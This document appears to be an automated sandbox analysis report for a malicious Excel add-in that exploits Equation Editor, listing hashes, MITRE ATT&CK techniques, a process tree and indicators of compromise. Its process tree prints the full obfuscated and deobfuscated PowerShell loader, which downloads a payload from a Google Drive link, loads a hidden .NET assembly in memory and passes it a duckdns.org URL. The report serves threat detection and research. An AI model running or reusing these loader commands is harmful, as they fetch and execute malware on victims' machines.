c45d31e44d57ed25927e102efcfae85dd155f2496624c3958bdd4076d4e0b386

General

Target

c45d31e44d57ed25927e102efcfae85dd155f2496624c3958bdd4076d4e0b386.xlam
Size

597KB
MD5

b084fdb4d0c9b94ab31e3a762a8ceae9
SHA1

40118c7bde4f52645b341ee5dacca239eeb482ef
SHA256

c45d31e44d57ed25927e102efcfae85dd155f2496624c3958bdd4076d4e0b386
SHA512

c7a0b4175be14c6146a5016bcc733096b68acc1ec1a0c9078e3d8038ca3cb025cbff79ef5a85899a0e1b91c00b3e77086f8af1bf3da0f16030f172ce08dbeb17
SSDEEP

12288:YYoYZa3XGB29qpzJjEsC/KW2ZF4wtho8mDYEX4BLKLQ:PRw32XzJjHC/EHtho8mD1X41KM

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G

exe.dropper

https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2460	EQNEDT32.EXE
7	2528	powershell.exe
9	2528	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2724	powershell.exe
2528	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2460	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2616	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2724	powershell.exe
2528	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2616	EXCEL.EXE
2616	EXCEL.EXE
2616	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2460 wrote to memory of 2664	2460	EQNEDT32.EXE	33
PID 2460 wrote to memory of 2664	2460	EQNEDT32.EXE	33
PID 2460 wrote to memory of 2664	2460	EQNEDT32.EXE	33
PID 2460 wrote to memory of 2664	2460	EQNEDT32.EXE	33
PID 2664 wrote to memory of 2724	2664	WScript.exe	34
PID 2664 wrote to memory of 2724	2664	WScript.exe	34
PID 2664 wrote to memory of 2724	2664	WScript.exe	34
PID 2664 wrote to memory of 2724	2664	WScript.exe	34
PID 2724 wrote to memory of 2528	2724	powershell.exe	36
PID 2724 wrote to memory of 2528	2724	powershell.exe	36
PID 2724 wrote to memory of 2528	2724	powershell.exe	36
PID 2724 wrote to memory of 2528	2724	powershell.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\c45d31e44d57ed25927e102efcfae85dd155f2496624c3958bdd4076d4e0b386.xlam
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2616

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\miraclefridaymanager.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJGVOVjpDT01TUEVDWzQsMjYsMjVdLWpPSU4nJykoKCd2ZktpbWFnZVVybCA9IDEyeWh0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MScrJzdrUUlURkpaMXRxZHFUVnljOEp5JysnS0NSc0FiMDgzRjRHIDEyeTt2Zkt3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW4nKyd0O3ZmJysnS2ltYWdlQnl0ZXMgPSB2Zkt3ZWJDbGllbnQnKycuRG93bmxvYWREYXRhKHZmS2ltYWdlVXJsKTt2ZktpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyh2ZktpbWFnZUJ5dGVzKTt2ZktzdGFydEZsYWcgPSAxMnk8PEJBU0U2NF9TVEFSVD4+MTJ5O3ZmJysnS2VuZEZsYWcgPSAxMnk8PEJBU0U2NF9FTkQ+PjEyeTt2ZktzdGFydEluZGV4ID0gdmZLaW1hJysnZ2VUZXh0LkluZGV4T2YodmZLc3RhcnRGbGFnKTt2ZktlbmRJbmRleCA9IHZmSycrJ2ltYWdlVCcrJ2V4dC5JbicrJ2RleE9mKHZmS2VuZEZsYWcpO3ZmS3N0YXJ0SW5kZXggLWdlIDAnKycgLWFuJysnZCB2ZktlbmRJbmRleCAnKyctZ3QgdmZLc3RhcnRJbmRleDt2ZktzdGFydEluJysnZGV4ICs9IHZmS3N0YXJ0RmxhZy5MZW5ndGg7dmZLYmFzZTY0TGVuZ3RoID0gdmZLZW5kSW5kZXggLSB2ZktzdGFydEluZGV4O3ZmSycrJ2Jhc2U2NENvbW1hbmQgPSB2ZktpbWFnZVRleHQuU3Vic3RyJysnaW5nKHZmS3N0YXJ0SW5kZScrJ3gsIHZmS2Jhc2U2JysnNExlbmd0aCk7dmZLYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAodmZLYmFzZTY0Q29tbWFuZC5Ub0NoYScrJ3JBcicrJ3JhJysneSgpIHFIaSBGb3JFYWNoJysnLU9iamVjdCB7IHZmSycrJ18gfSlbLTEuLicrJy0odmZLYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTt2ZksnKydjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGJysncm9tQmFzZTY0U3RyaW5nKHZmS2Jhc2U2NFJldmVyc2VkKTt2ZksnKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmUnKydmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQodmZLY29tbWFuZEJ5dGVzKTt2Zkt2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kJysnKDEyeVZBSTEyeSk7dmZLdmFpTWV0aG9kLkludm9rZSh2ZktudWxsLCBAKDEyeXR4dC45Njg1Nzh0dHR0dHRzZXRhbGRpb3JkL2dyby5zbmRrY3VkLnJlZ2FuYW1sYWNvbHlhZGlyZi8vOnB0dGgxMnksIDEyeWRlc2F0aXZhZG8xMnksIDEyeWRlJysnc2F0aXZhZG8xMnksIDEyeWRlc2F0JysnaXZhZG8xMnksIDEyeUFkZEluUHJvY2VzczMyMTJ5LCAxMnlkZXNhJysndGl2YWRvJysnMTJ5LCAxMnlkZXMnKydhdGl2YWQnKydvMTJ5KSk7JykuUmVQTEFDZSgncUhpJyxbU1RySW5nXVtjaEFyXTEyNCkuUmVQTEFDZSgndmZLJywnJCcpLlJlUExBQ2UoKFtjaEFyXTQ5K1tjaEFyXTUwK1tjaEFyXTEyMSksW1NUckluZ11bY2hBcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $eNV:COMSPEC[4,26,25]-jOIN'')(('vfKimageUrl = 12yhttps://drive.google.com/uc?export=download&id=1'+'7kQITFJZ1tqdqTVyc8Jy'+'KCRsAb083F4G 12y;vfKwebClient = New-Object System.Net.WebClien'+'t;vf'+'KimageBytes = vfKwebClient'+'.DownloadData(vfKimageUrl);vfKimageText = [System.Text.Encoding]::UTF8.GetString(vfKimageBytes);vfKstartFlag = 12y<<BASE64_START>>12y;vf'+'KendFlag = 12y<<BASE64_END>>12y;vfKstartIndex = vfKima'+'geText.IndexOf(vfKstartFlag);vfKendIndex = vfK'+'imageT'+'ext.In'+'dexOf(vfKendFlag);vfKstartIndex -ge 0'+' -an'+'d vfKendIndex '+'-gt vfKstartIndex;vfKstartIn'+'dex += vfKstartFlag.Length;vfKbase64Length = vfKendIndex - vfKstartIndex;vfK'+'base64Command = vfKimageText.Substr'+'ing(vfKstartInde'+'x, vfKbase6'+'4Length);vfKbase64Reversed = -join (vfKbase64Command.ToCha'+'rAr'+'ra'+'y() qHi ForEach'+'-Object { vfK'+'_ })[-1..'+'-(vfKba'+'se64Command.Length)];vfK'+'commandBytes = [System.Convert]::F'+'romBase64String(vfKbase64Reversed);vfK'+'loadedAssembly = [System.Re'+'flection.Assembly]::Load(vfKcommandBytes);vfKvaiMethod = [dnlib.IO.Home].GetMethod'+'(12yVAI12y);vfKvaiMethod.Invoke(vfKnull, @(12ytxt.968578ttttttsetaldiord/gro.sndkcud.reganamlacolyadirf//:ptth12y, 12ydesativado12y, 12yde'+'sativado12y, 12ydesat'+'ivado12y, 12yAddInProcess3212y, 12ydesa'+'tivado'+'12y, 12ydes'+'ativad'+'o12y));').RePLACe('qHi',[STrIng][chAr]124).RePLACe('vfK','$').RePLACe(([chAr]49+[chAr]50+[chAr]121),[STrIng][chAr]39) )"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
5f76e240faaae7768b2b377168930c2d

SHA1
203a4a41a20e53b752f7e5d544cf222aec965c4a

SHA256
ba39c40e292d0488a20e525e5f8d543d5abf0d1e12e5cf299b99dd059fdf5349

SHA512
72ff7b79b708cedbdff517c7b68ef0c1b1b0bbf3a23a388d5a413c21ab93b726b7362b0b65c73be3c0c6237b594a0f1ab3b363ee655d453dd79605da0deba441

Download Submit
C:\Users\Admin\AppData\Roaming\miraclefridaymanager.vbs

Filesize
191KB

MD5
228c9eacf2090da44fc3599dffb3d95c

SHA1
afec3333348c237707ffb7f3835d0bce6525bf89

SHA256
ea14b56c297c3cfb8c268bbfcd7c82342ce44a02281184bfbe3c038de2c8190e

SHA512
8e7f330fde1f99a90663bfbd811f9eba83bde18c7d1cb69333fe933287ed5efea377cc90cbcc3eee81a64c36b170e6f8a7b9ecd475f65ca57b766bf2605b9417

Download Submit
memory/2616-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2616-1-0x00000000723FD000-0x0000000072408000-memory.dmp

Filesize
44KB

Download
memory/2616-16-0x00000000723FD000-0x0000000072408000-memory.dmp

Filesize
44KB

Download

Analysis

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